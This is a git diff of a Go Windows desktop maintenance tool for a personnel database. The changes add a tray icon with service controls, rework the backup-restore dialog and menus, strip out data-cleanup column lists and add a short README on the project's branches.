string(col.([]byte)) - if types[i] == NULL { - valuer[i] = s - } else if types[i] == DATE { - valuer[i] = s[0:4] + DIAN + s[4:6] - } else { - valuer[i] = CodeValueMap[types[i]+s] - } - } else { - valuer[i] = NULL - } - } -} - -// 获取表数据 -func QueryMap(db *sql.DB, sqlStr string, m map[string]string) { - rows, _ := db.Query(sqlStr) - defer rows.Close() - columns, _ := rows.Columns() - for rows.Next() { - _ = rows.Scan(&columns[0], &columns[1]) - m[columns[0]] = columns[1] - } -} - -func has(v1 dept, vs []*dept) bool { - var has bool - has = false - for _, v2 := range vs { - v3 := *v2 - if v1.Id == v3.Pid { - has = true - break - } - } - return has - -} - -// makeTree 生成机构树对象 -func makeTree(vs []*dept, node *dept) { - childs := findChild(node, vs) - for _, child := range childs { - node.Child = append(node.Child, child) - if has(*child, vs) { - makeTree(vs, child) - } - } - -} - -func findChild(v *dept, vs []*dept) (ret []*dept) { - ret = make([]*dept, 0) - for _, v2 := range vs { - if v.Id == v2.Pid { - ret = append(ret, v2) - } - } - return -} - -// 数字转字母 -func toCharStr(i int) string { - return string(rune('A' - 1 + i)) -} - -type YrYh struct { - Name string `json:"name"` - Code string `json:"code"` - Type string `json:"type"` - Width float64 `json:"width"` -} - -const yryh = `[ - {"name":"姓名","code":"a01.a0101","type":"","width":11}, - {"name":"性别","code":"a01.a0104","type":"GB2261","width":8}, - {"name":"民族","code":"a01.a0117","type":"GB3304","width":8}, - {"name":"出生日期","code":"a01.a0107","type":"DATE","width":12}, - {"name":"参加工作时间","code":"a01.a0134","type":"DATE","width":13}, - {"name":"入党时间","code":"a01.a0140","type":"","width":12}, - {"name":"工作单位及职务全称","code":"a01.a0192a","type":"","width":20}, - {"name":"职务层次","code":"a01.a0221","type":"ZB09","width":12}, - {"name":"任职务层次时间","code":"a01.a0288","type":"DATE","width":15}, - {"name":"职级","code":"a01.a0192e","type":"ZB148","width":12}, - {"name":"任职级时间","code":"a01.a0192c","type":"DATE","width":12}, - {"name":"任相当层次职务职级时间","code":"a01.a0192x","type":"DATE","width":15}, - {"name":"最高学历","code":"a01.zgxl","type":"","width":15}, - {"name":"籍贯","code":"a01.a0111","type":"ZB01","width":12} -]` -const DATE = "DATE" -const NULL = "" -const DIAN = "." - -// 树结构 -type dept struct { - Id string `json:"id"` - Pid string `json:"pid"` - Name string `json:"name"` - Child []*dept `json:"child"` -} diff --git a/golang_learn/data_func/go_to_windows/winNotifyIcon.go b/golang_learn/data_func/go_to_windows/winNotifyIcon.go new file mode 100644 index 0000000..d164f59 --- /dev/null +++ b/golang_learn/data_func/go_to_windows/winNotifyIcon.go @@ -0,0 +1,74 @@ +package main + +import ( + "github.com/lxn/walk" + "log" +) + +func (mw *myApp) AddNotifyIcon() { + var err error + mw.ni, err = walk.NewNotifyIcon(mw) + checkError(err) + mw.ni.SetVisible(true) + + icon, err := walk.NewIconFromResourceId(3) + checkError(err) + mw.SetIcon(icon) + mw.ni.SetIcon(icon) + + sjMenu := mw.addMenu("数据库") + service1.menuStart = mw.addAction(sjMenu, "启动") + service1.menuStop = mw.addAction(sjMenu, "停止") + + service1.menuStart.Triggered().Attach(func() { + startService(service1) + }) + service1.menuStop.Triggered().Attach(func() { + stopService(service1) + }) + + cxMenu := mw.addMenu("应用") + service3.menuStart = mw.addAction(cxMenu, "启动") + service3.menuStop = mw.addAction(cxMenu, "停止") + service3.menuStart.Triggered().Attach(func() { + startService(service3) + }) + service3.menuStop.Triggered().Attach(func() { + stopService(service3) + }) + + mw.addAction(nil, "exit").Triggered().Attach(func() { + mw.ni.Dispose() + mw.Dispose() + walk.App().Exit(0) + }) + +} + +func (mw *myApp) addMenu(name string) *walk.Menu { + helpMenu, err := walk.NewMenu() + checkError(err) + help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu) + checkError(err) + help.SetText(name) + + return helpMenu +} + +func (mw *myApp) addAction(menu *walk.Menu, name string) *walk.Action { + action := walk.NewAction() + action.SetText(name) + if menu != nil { + menu.Actions().Add(action) + } else { + mw.ni.ContextMenu().Actions().Add(action) + } + + return action +} + +func checkError(err error) { + if err != nil { + log.Fatal(err) + } +} diff --git a/golang_learn/data_func/go_to_windows/winStruct.go b/golang_learn/data_func/go_to_windows/winStruct.go index 132ed04..6b44b52 100644 --- a/golang_learn/data_func/go_to_windows/winStruct.go +++ b/golang_learn/data_func/go_to_windows/winStruct.go @@ -6,15 +6,13 @@ import ( ) // 说明 -var Info = strings.Join([]string{ +var AppInfo = strings.Join([]string{ "1. 启动、终止并设置 应用和数据库 服务", "2. 清除 浏览器和应用 缓存", "3. 设置 应用和数据库 内存大小", "4. 实现 数据库索引 重新构建", "5. 实现 数据备份 压缩备份库文件与备份照片", - "6. 【待完善】数据还原", // "实现 数据还原 执行还原库文件与还原照片", - "7. 实现 特殊字符串处理,由于 ”&#“ 导致无法导入问题的解决", - "8. 实现 按照机构树前序遍历方式 导出表册", + //"6. 实现 数据还原 执行还原库文件与还原照片", fmt.Sprintf("版本:%s", Version)}, "\n") // 【废弃】基础库部分脚本(除 a01 和 b01) @@ -461,294 +459,3 @@ var DbIndex = []tabIdx{ {tabName: "J2108", idxName: "J2108_IDX_001", idxColumn: "UNITID"}, {tabName: "J2108", idxName: "J2108_IDX_002", idxColumn: "TABLEID"}, } - -// 清除特殊字符串问题 -type Tab struct { - name string - Cols []string -} -type Tabs struct { - Tab []Tab -} - -// 批量处理主细表或描述拼接 -type Sqls struct { - name string - Sql []string -} -type Funcs struct { - Sql []Sqls -} - -func init() { - // 清除字段可能存储特殊字符串处理 - tabs = Tabs{ - Tab: []Tab{ - { - name: "A01", - Cols: []string{ - "A0101", - "A0102", - "A0104", - "A0107", - "A0111A", - "A0114A", - "A0115A", - "A0117", - "A0128", - "A0134", - "A0140", - "A0141", - "A0144", - "A3921", - "A3927", - "A0160", - "A0163", - "A0165", - "A0184", - "A0187A", - "A0192", - "A0192A", - "A0221", - "A0288", - "A0192E", - "A0192C", - "A0196", - "A0197", - "A0195", - "A1701", - "A14Z101", - "A15Z101", - "A0120", - "A0121", - "A0122", - "A2949", - "A0180", - "QRZXL", - "QRZXLXX", - "QRZXW", - "QRZXWXX", - "ZZXL", - "ZZXLXX", - "ZZXW", - "ZZXWXX", - "ZGXL", - "ZGXLXX", - "ZGXW", - "ZGXWXX", - "TCSJSHOW", - "TCFSSHOW", - }, - }, - { - name: "A02", - Cols: []string{ - "A0201A", - "A0201B", - "A0201D", - "A0201E", - "A0215A", - "A0219", - "A0223", - "A0225", - "A0243", - "A0245", - "A0247", - "A0251B", - "A0255", - "A0265", - "A0267", - "A0272", - "A0281", - }, - }, - { - name: "A05", - Cols: []string{ - "A0531", - "A0501B", - "A0504", - "A0511", - "A0517", - "A0524", - "A0526", - "A0528B", - "A0530", - "A0532", - }, - }, - { - name: "A06", - Cols: []string{ - "A0601", - "A0602", - "A0604", - "A0607", - "A0611", - "A0699", - }, - }, - { - name: "A08", - Cols: []string{ - "A0801A", - "A0801B", - "A0901A", - "A0901B", - "A0804", - "A0807", - "A0904", - "A0814", - "A0824", - "A0827", - "A0837", - "A0811", - "A0831", - "A0832", - "A0834", - "A0835", - "A0838", - "A0839", - "A0899", - }, - }, - { - name: "A14", - Cols: []string{ - "A1404A", - "A1404B", - "A1407", - "A1411A", - "A1414", - "A1415", - "A1416", - "A1424", - "A1428", - }, - }, - { - name: "A15", - Cols: []string{ - "A1517", - "A1521", - }, - }, - { - name: "A30", - Cols: []string{ - "A3001", - "A3004", - "A3007A", - "A3038", - }, - }, - { - name: "A33", - Cols: []string{ - "A3310", - "A3321", - "A3321C", - "A3321D", - "A3322", - "A3323", - "A3331", - "A3332", - "A3333", - "A3350", - "A3360", - "A3361", - "A3362", - "A3371", - "A3372", - "A3381", - "A3382", - "A3385", - "A3321A", - "A3321B", - "A3321E", - "A3321F", - "A3333A", - "A3333B", - }, - }, - { - name: "A36", - Cols: []string{ - "A3601", - "A3604A", - "A3607", - "A3627", - "A3611", - "SORTID", - }, - }, - { - name: "A57", - Cols: []string{ - "A5714", - }, - }, - { - name: "A99Z1", - Cols: []string{ - "A99Z101", - "A99Z102", - "A99Z103", - "A99Z104", - "A99Z191", - "A99Z195", - }, - }, - { - name: "B01", - Cols: []string{ - "B0101", - "B0104", - "B0114", - "B0117", - "B0124", - "B0127", - "B0131", - "B0194", - "B0227", - "B0232", - "B0233", - "B0236", - "B0234", - "B0150", - "B0183", - "B0185", - "B0164", - "B0167", - "B0268", - "B0269", - "B0238", - "B0239", - "B0180", - "SORTID", - }, - }, - }, - } - // 批量处理功能脚本 - funcs = Funcs{ - Sql: []Sqls{ - /*{ - name: "职务层次及职级主细同步", - Sql: []string{ - "update a01 set a0221='',a0288='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='0')", - "update a01 set a0192e='',a0192c='' where not exists(select 1 from a05 where a01.a0000=a05.a0000 and a0524='1' and A0531='1')", - "update a01,a05 set a0221=A0501B,a0288=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='0'", - "update a01,a05 set a0192e=A0501B,a0192c=A0504 where a01.a0000=a05.a0000 and a0524='1' and A0531='1'", - }, - }, - { - name: "拼接政治面貌信息", - Sql: []string{ - "update a01 set a0140=concat(substr(a0144,1,4),'.',substr(a0144,5,2)) where a0141 in('01','02') and (a0144 is not null or a0144 <> '')", - "update a01 set a0140=concat('(',(select code_name from code_value where code_type='GB4762' and code_value=a0141),')') where a0141 in(select code_value from code_value where code_type='GB4762' and code_value not in ('01','02'))", - }, - },*/ - }, - } -} diff --git a/golang_learn/data_func/go_to_windows/winView.go b/golang_learn/data_func/go_to_windows/winView.go index e47e8e7..13ecce5 100644 --- a/golang_learn/data_func/go_to_windows/winView.go +++ b/golang_learn/data_func/go_to_windows/winView.go @@ -5,6 +5,7 @@ import ( . "github.com/lxn/walk/declarative" "github.com/lxn/win" "log" + "os" ) // 初始始化窗体 @@ -21,88 +22,54 @@ func GetWindows() error { MenuItems: []MenuItem{ Menu{ Text: "&编辑", - // Image: "./image/media.png", Items: []MenuItem{ Separator{}, Action{ - // Image: "./image/qinghuancun.png", Text: "清除缓存", OnTriggered: clearAll, }, Action{ - // Image: "./image/beifen.png", Text: "重构索引", OnTriggered: reDbIndex, }, Action{ - // Image: "./image/beifen.png", Text: "数据备份", OnTriggered: dbBak, }, - //Action{ - // // Image: "./image/huanyuan.png", - // Text: "数据还原", - // OnTriggered: reDbBak, - //}, Action{ - // Image: "./image/qinghuancun.png", - Text: "数据清洗", - OnTriggered: clearData, + Text: "数据还原", + OnTriggered: reDbBak, }, Action{ - // Image: "./image/tuichu.png", Text: "退出", OnTriggered: func() { - walk.App().Exit(0) + OnExit() }, }, }, }, Menu{ Text: "&设置", - // Image: "./image/shezhi.png", Items: []MenuItem{ Separator{}, Action{ - // Image: "./image/shujuku.png", Text: "设置数据库内存", OnTriggered: setDbSize, }, Action{ - // Image: "./image/yingyong.png", Text: "设置应用内存", OnTriggered: setServerSize, }, }, }, - Menu{ - Text: "&表册", - // Image: "./image/shezhi.png", - Items: []MenuItem{ - Separator{}, - Action{ - // Image: "./image/shujuku.png", - Text: "按照职务输出生成(可能人员重复)", - OnTriggered: getMcByA0281, - }, - Action{ - // Image: "./image/yingyong.png", - Text: "按照主职务生成(可能人员丢失)", - OnTriggered: getMcByA0279, - }, - }, - }, Menu{ Text: "&帮助", - // Image: "./image/bangzhu.png", Items: []MenuItem{ Action{ - // Image: "./image/guanyu.png", Text: "关于", OnTriggered: app.aboutactionTriggered, }, /*Action{ - // Image: "./image/yaoqiu.png", Text: "要求", OnTriggered: app.aboutactionTriggered, },*/ @@ -178,7 +145,7 @@ func GetWindows() error { MinSize: Size{Width: 140, Height: 30}, Text: "关闭本监控窗口", OnClicked: func() { - walk.App().Exit(0) + OnExit() }, }, }, @@ -359,9 +326,8 @@ func (mw *myApp) RunAppSetingDialog(owner walk.Form, confirmCall func(*AppSeting //数据还原设置 type DbBakSetings struct { - *walk.MainWindow - searchBox *walk.LineEdit - path string + fileEdit *walk.TextEdit + fileName string } // 运行 数据还原设置 Dialog @@ -372,7 +338,7 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe var acceptPB, cancelPB *walk.PushButton seting = new(DbBakSetings) - // 设置预定值 + seting.fileName = "" _, _ = Dialog{ AssignTo: &dlg, @@ -392,14 +358,18 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe GroupBox{ Layout: HBox{}, Children: []Widget{ - LineEdit{ - ReadOnly: true, - AssignTo: &seting.searchBox, - }, - PushButton{ - Text: "选择", - OnClicked: seting.selectFile, - }, + Label{Text: `请输入还原文件名称(如:2022122235133):`}, + TextEdit{AssignTo: &seting.fileEdit}, + }, + }, + GroupBox{ + Layout: HBox{}, + Children: []Widget{ + + Label{Text: `说明: +1. 需要您选择还原的文件,并且在触发“恢复”时,先提示是否进行备份(选择是/否),按照选择文件进行解压覆盖; +2. 请自行检查备份包的大小是否正常,通常包大于400M; +3. 备份时,请确保服务正常启动!`}, }, }, Composite{ @@ -416,6 +386,14 @@ func (mw *myApp) RunDbBakSetingDialog(owner walk.Form, confirmCall func(*DbBakSe return } + Info.Println(path + `\` + seting.fileEdit.Text() + `.gz`) + _, err := os.OpenFile(path+`\`+seting.fileEdit.Text()+`.gz`, os.O_RDWR, 0666) + if err != nil { + walk.MsgBox(app.mw, "错误", "无法打开文件。", walk.MsgBoxIconWarning) + return + } + seting.fileName = seting.fileEdit.Text() + // 关闭页面 dlg.Cancel() diff --git a/golang_learn/data_func/go_to_windows/说明.md b/golang_learn/data_func/go_to_windows/说明.md new file mode 100644 index 0000000..fe14a76 --- /dev/null +++ b/golang_learn/data_func/go_to_windows/说明.md @@ -0,0 +1,25 @@ +# 应用检测软件 + + +## 说明: +* 当前存在两个分支 + * master 为 全国公务员系统工具 + * hy_YingJiGuanLiBu 为 消防干部系统工具 + + +> 两部分差异部分 +> `main.go` 和 `winStruct.go` +> ``` go +> var TableName // 变量值 +> var Version // 变量值 +> var epsoft1 // 变量值 +> var epsoft2 // 变量值 +> var service1 // 变量值 +> var service3 // 变量值 +> // 方法内容 数据链接 +> db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35019)/hy_yjglb?charset=utf8") +> // 方法内容 实现打包内容范围 +> // 【sql方式】统计库部分 +> // 【sql方式】基础库部分 +> // 备份压缩文件 +> ``` \ No newline at end of file diff --git a/golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk b/golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk new file mode 100644 index 0000000..00a17a0 Binary files /dev/null and b/golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk differ diff --git a/golang_learn/go.mod b/golang_learn/go.mod index 4ef7dcc..34f4b90 100644 --- a/golang_learn/go.mod +++ b/golang_learn/go.mod @@ -11,6 +11,7 @@ require ( github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 github.com/bitly/go-simplejson v0.5.0 github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 + github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd github.com/go-ini/ini v1.62.0 github.com/go-sql-driver/mysql v1.6.0 github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b diff --git a/golang_learn/go.sum b/golang_learn/go.sum index 4c83e66..9ee3ae0 100644 --- a/golang_learn/go.sum +++ b/golang_learn/go.sum @@ -69,6 +69,8 @@ github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngE github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= +github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd h1:ePesaBzdTmoMQjwqRCLP2jY+jjWMBpwws/LEQdt1fMM= +github.com/braintree/manners v0.0.0-20160418043613-82a8879fc5fd/go.mod h1:TNehV1AhBwtT7Bd+rh8G6MoGDbBLNs/sKdk3nvr4Yzg= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=